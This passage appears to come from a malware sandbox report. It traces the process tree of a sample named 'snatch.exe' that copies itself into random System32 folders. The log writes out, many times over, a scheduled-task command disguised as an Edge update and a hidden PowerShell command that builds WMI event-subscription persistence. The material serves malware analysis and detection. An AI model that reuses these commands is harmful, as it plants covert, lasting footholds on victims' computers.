  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\4g9647tmdb\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:6540

C:\Windows\System32\4g9647tmdb\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\4g9647tmdb\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:6820
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-6788rj3dhm /tr C:\Windows\System32\n0sv9jduip\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:6984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\n0sv9jduip\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:7004

C:\Windows\System32\n0sv9jduip\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\n0sv9jduip\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:6240
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-svbspqv3jt /tr C:\Windows\System32\bhiy5ixr6o\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\bhiy5ixr6o\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:808

C:\Windows\System32\bhiy5ixr6o\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\bhiy5ixr6o\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:6752
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-oo48zocpqr /tr C:\Windows\System32\jd5t40w0ol\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\jd5t40w0ol\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:6608

C:\Windows\System32\jd5t40w0ol\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\jd5t40w0ol\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:7048
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-ifz4d82k52 /tr C:\Windows\System32\83ho8h8tld\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\83ho8h8tld\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1700

C:\Windows\System32\83ho8h8tld\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\83ho8h8tld\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:6792
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-2zgsf6cnxb /tr C:\Windows\System32\nwhx36y5x8\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\nwhx36y5x8\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:6840

C:\Windows\System32\nwhx36y5x8\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\nwhx36y5x8\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:6400
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-ha06v70xs0 /tr C:\Windows\System32\akcmz858p2\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\akcmz858p2\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:512

C:\Windows\System32\akcmz858p2\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\akcmz858p2\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:408
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-va4fb3njlh /tr C:\Windows\System32\uovp1r5a69\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\uovp1r5a69\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:7096

C:\Windows\System32\uovp1r5a69\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\uovp1r5a69\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:1172
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-ps2oanedef /tr C:\Windows\System32\eag8el6ptx\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\eag8el6ptx\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:6896

C:\Windows\System32\eag8el6ptx\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\eag8el6ptx\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:7228
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-qxv5hze087 /tr C:\Windows\System32\1bu60xaetw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:7296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\1bu60xaetw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:7320

C:\Windows\System32\1bu60xaetw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\1bu60xaetw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:7492
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-ei10jn6qoj /tr C:\Windows\System32\j5d5yzisy0\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:7556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\j5d5yzisy0\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:7576

C:\Windows\System32\j5d5yzisy0\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\j5d5yzisy0\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:7780
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-q6y6skvpjs /tr C:\Windows\System32\ppjmm56wni\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\ppjmm56wni\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:7864

C:\Windows\System32\ppjmm56wni\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\ppjmm56wni\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:8056
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-53xpmhimsd /tr C:\Windows\System32\55tr8towj7\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:8120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\55tr8towj7\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:8140

C:\Windows\System32\55tr8towj7\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\55tr8towj7\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:7288
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-b6gmzils8o /tr C:\Windows\System32\plcse56uo5\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\plcse56uo5\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4400

C:\Windows\System32\plcse56uo5\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\plcse56uo5\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:7820
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-776zijurbe /tr C:\Windows\System32\sb8kp48ukh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\sb8kp48ukh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:7672

C:\Windows\System32\sb8kp48ukh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\sb8kp48ukh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:8032
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-pi5r00wi74 /tr C:\Windows\System32\soncztwmbh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\soncztwmbh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:7384

C:\Windows\System32\soncztwmbh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\soncztwmbh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:7340
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-ngu6c5zma4 /tr C:\Windows\System32\73d3f2e56j\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\73d3f2e56j\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:7368

C:\Windows\System32\73d3f2e56j\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\73d3f2e56j\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:7936
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-d3mq9ppikw /tr C:\Windows\System32\qrzytbadeh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\qrzytbadeh\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:8188

C:\Windows\System32\Conhost.exe
